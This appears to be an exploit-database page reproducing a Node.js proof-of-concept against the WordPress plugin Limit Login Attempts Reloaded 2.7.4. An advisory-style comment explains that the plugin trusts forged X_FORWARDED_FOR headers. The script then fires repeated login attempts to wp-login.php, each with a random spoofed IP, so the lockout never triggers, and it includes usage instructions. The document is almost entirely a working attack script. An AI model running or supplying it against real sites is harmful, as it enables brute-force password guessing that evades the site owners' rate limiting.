wordpress plugin limit login attempts reloaded 2.7.4 login limit bypass

				
#!/usr/bin/env node
const request = require("request")

/**
 * Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
 * Date: 2019-04-08
 * Exploit Author: isdampe
 * Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
 * Version: 2.7.4
 * Tested on: WordPress 5.1.1
 *
 * Description
 * -----------
 *
 *  The plugin's primary goal is to limit the rate at which an individual can attempt
 *  to authenticate with WordPress. Plugin has support for HTTP headers 
 *  X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
 *  when web servers are behind a reverse proxy service.
 *  However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
 *  allowing an attacker to easily forge either the X_FORWARDED_FOR or 
 *  X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
 *
 *  PoC
 *  ---
 */
class LoginRequest
{
	constructor(loginUri, numberOfRepititions) {
		this._loginUri = loginUri
		this._numberOfRepititions = numberOfRepititions
		this._count = 0
	}

	async process() {
		await this._sendRequest()
		if (this._count++ < this._numberOfRepititions)
			this.process()
	}

	async _sendRequest() {
		return new Promise(async (resolve, reject) => {
			console.log(`Sending request ${this._count}...`)

			request.post({
				url : this._loginUri,
				form: {
					"log": this._getRandomString(),
					"pwd": this._getRandomString(),
					"wp-submit": "Log+In",
					"redirect_to": "/wp-admin/",
					"testcookie": "1"
				},
				headers: {
					"X_FORWARDED_FOR": this._getRandomIp()
				}
			}, (err, res, body) => {
				if (err)
					console.error(err)

				if (body.indexOf("Too many failed") > -1) {
					reject("Login was rejected, exploit failed.")
					return
				}

				resolve()
				console.log(`\tRequest ${this._count} was not blocked`)
			})

		})
	}

	_getRandomString() {
		const map = "abcdefghijklmnopqrstuvwxyz0123456789"
		const length = Math.floor(Math.random() * 15) + 1
		let buffer = ""
		for (let i=0; i<length; ++i)
			buffer += Math.floor(Math.random() * map.length)

		return buffer
	}

	_getRandomIp() {
		const bits = []
		for (let x=0; x<4; ++x)
			bits.push(Math.floor(Math.random() * 254)) + 1
		return bits.join(".")
	}

}

if (process.argv.length < 4) {
	console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
	console.log("\turl:                     The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
	console.log("\tnumber_of_repititions:   The number of login attempts to create (e.g. 500)")
	process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()
            
				

Wordpress plugin limit login attempts reloaded 2.7.4 login limit bypass Vulnerability / Exploit Source : Wordpress plugin limit login attempts reloaded 2.7.4 login limit bypass